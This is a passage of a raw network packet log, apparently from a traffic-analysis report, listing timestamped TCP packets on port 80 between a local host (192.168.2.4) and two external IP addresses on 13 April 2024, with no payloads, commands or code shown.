Apr 13, 2024 20:21:08.719044924 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719074011 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719082117 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719111919 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719119072 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719149113 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719158888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719186068 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719193935 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719223022 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719232082 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719259977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719265938 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719295979 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719305992 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719332933 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719343901 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719371080 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719379902 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719408035 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719409943 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719444036 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719453096 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719480991 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719486952 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719518900 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719531059 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719557047 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719563007 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719594002 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719599962 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719630957 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719640017 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719667912 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719672918 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719705105 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719712019 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719743967 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719753981 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719780922 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719789028 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719816923 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719824076 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719854116 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719890118 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719902039 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719927073 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719935894 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.719964027 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.719973087 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720000029 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720006943 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720036983 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720045090 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720076084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720088005 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720113039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720122099 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720149994 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720158100 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720185995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720196962 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720237970 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720242977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720279932 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720315933 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720326900 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720355034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720361948 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720392942 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720400095 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720428944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720438004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720465899 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720475912 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720503092 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720510006 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720539093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720546007 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720577002 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720587015 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720613956 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720621109 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720649958 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720655918 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720690966 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720696926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720727921 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720736027 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720768929 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720778942 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720808029 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720825911 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720849991 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720860004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720886946 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720896959 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720923901 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720932007 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720961094 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.720968008 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.720998049 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721010923 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721035957 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721045017 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721071959 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721079111 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721108913 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721117020 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721144915 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721151114 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721183062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721189976 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721219063 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721225977 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721256018 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721259117 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721292973 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721296072 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721330881 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721333981 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721366882 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721369982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721404076 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721406937 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721441031 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721441031 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721477032 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721493006 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721513033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721513987 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721549988 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721551895 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721585989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721589088 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721622944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721631050 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721659899 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721664906 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721695900 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721702099 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721733093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721735954 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721770048 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721772909 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721807003 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721815109 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721844912 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721852064 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721880913 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721887112 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721916914 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721926928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721954107 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721956015 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.721990108 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.721992016 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722026110 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722031116 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722063065 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722069979 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722100973 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722107887 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722136974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722141027 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722172976 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722177029 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722209930 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722218037 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722246885 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722249031 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722284079 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722285986 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722320080 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722323895 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722357988 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722361088 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722394943 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722398043 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722430944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722469091 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722474098 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722474098 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722505093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722510099 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722539902 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722542048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722575903 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722578049 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722613096 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722614050 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722649097 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722652912 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722685099 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722696066 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722723961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722732067 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722760916 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722796917 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722810030 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722834110 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722846031 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722871065 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722881079 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722908020 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722918034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722946882 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722954035 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.722982883 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.722991943 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723017931 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723023891 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723053932 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723063946 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723090887 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723099947 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723129034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723131895 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723165035 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723172903 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723202944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723210096 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723242044 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723251104 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723279953 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723287106 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723315954 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723321915 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723351955 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723359108 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723388910 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723401070 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723426104 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723433971 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723464012 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723470926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723501921 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723510027 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723539114 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723546028 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723575115 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723583937 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723613977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723619938 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723649979 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723656893 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723686934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723692894 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723725080 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723731041 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723762035 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723772049 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723798037 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723803043 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723834991 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723843098 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723872900 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723881006 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723910093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723917961 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723947048 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723954916 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.723984957 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.723990917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724021912 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724028111 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724057913 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724067926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724095106 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724102020 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724132061 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724138021 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724169016 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724169970 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724205971 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724210024 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724247932 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724256039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724292040 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724294901 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724329948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724334955 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724365950 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724371910 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724402905 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724406004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724438906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724442005 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724474907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724476099 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724514008 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724518061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724550009 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724554062 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724586964 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724590063 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724622011 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724622011 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724658966 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724662066 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724693060 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724695921 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724734068 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724735022 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724770069 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724773884 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724807024 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724812984 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724845886 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724853039 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724883080 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724889994 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724920034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:08.724929094 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.724966049 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.749206066 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:08.904196978 CEST	80	49737	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.904278040 CEST	49737	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.904766083 CEST	80	49740	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.904953957 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.905077934 CEST	49740	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:08.906004906 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:08.906064987 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:09.049705982 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.049732924 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.049750090 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.049768925 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.049786091 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.049802065 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.049818039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.049834967 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.049906969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.049906969 CEST	49739	80	192.168.2.4	193.233.132.167
